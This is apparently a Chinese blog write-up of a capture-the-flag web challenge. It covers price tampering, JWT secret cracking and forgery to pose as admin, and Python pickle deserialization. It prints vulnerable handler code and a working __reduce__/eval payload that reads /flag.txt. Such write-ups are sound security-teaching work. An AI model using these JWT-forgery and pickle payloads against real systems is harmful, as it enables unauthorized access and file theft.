目录
题目分析
先注册账号,然后登录
目标是买到lv6,page参数代表不同页面
写个脚本寻找存在lv6的页面
import requests
url = 'http://48741e8e-30ab-4b63-a3a0-be94862b2280.node5.buuoj.cn:81/shop?page='
for i in range(500):
u = url + str(i);
try:
response = requests.get(u)
if 'lv6.png' in response.text:
print(i)
break
except:
pass
点击结算,抓包
改discount参数,即可买到lv6
访问:/b1g_m4mber,显示只有admin用户可以访问
抓包,存在jwt
jwt
jwt介绍
JSON Web Token(JSON Web 令牌)是一种跨域验证身份的方案。JWT 不加密传输的数据,但能够通 过数字签名来验证数据未被篡改
JWT 分为三部分,头部(Header),声明(Claims),签名(Signature),三个部分以英文句号.隔开。 JWT 的内容以 Base64URL 进行了编码。
jwt伪造
首先将抓到的jwt放到
jwt网站
看一下这个jwt的内容
root是我们最开始注册的用户名,我们需要将它改为admin,并且伪造签名
伪造签名需要获得令牌
我们使用工具:c-jwt-cracker-master
工具下载地址
得到key:1Kun
改用户名为admin,输入key值
将jwt替换后,得到一个网址,访问后下载到源码
pickle
根据提示,审计Admin文件
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
pickle.loads()
pickle.loads() 是 Python 中用于从序列化的字节流(serialized bytes)中加载对象的函数。它接受一个包含序列化对象数据的字节对象,并返回原始的 Python 对象。
具体来说,pickle.loads() 将字节流反序列化为原始对象,使得我们可以从文件、网络传输中接收的数据中重新构建出 Python 对象。
pickle.dumps()
pickle.dumps() 是 Python 中用于将对象序列化(pickle)为字节流的函数。它接受一个 Python 对象作为输入,并返回该对象序列化后的字节表示。
具体来说,pickle.dumps() 将一个 Python 对象转换为一个包含其序列化后数据的 bytes 对象,这样可以将其存储到文件、通过网络传输或者在程序内部进行保存和加载
urllib.unquote()
urllib.quote() 是 Python 2 中的一个函数,用于对字符串进行 URL 编码(percent encoding)。它被用来将字符串中的特殊字符转换成符合 URL 格式的形式,以便在 URL 中进行安全传输或显示。
Python反序列化
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a
得到become的值:
c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
替换后得到flag
标签:ikun,Python,self,jwt,urllib,Day1,Web2,序列化,pickle From: https://blog.csdn.net/ubaichu/article/details/140579236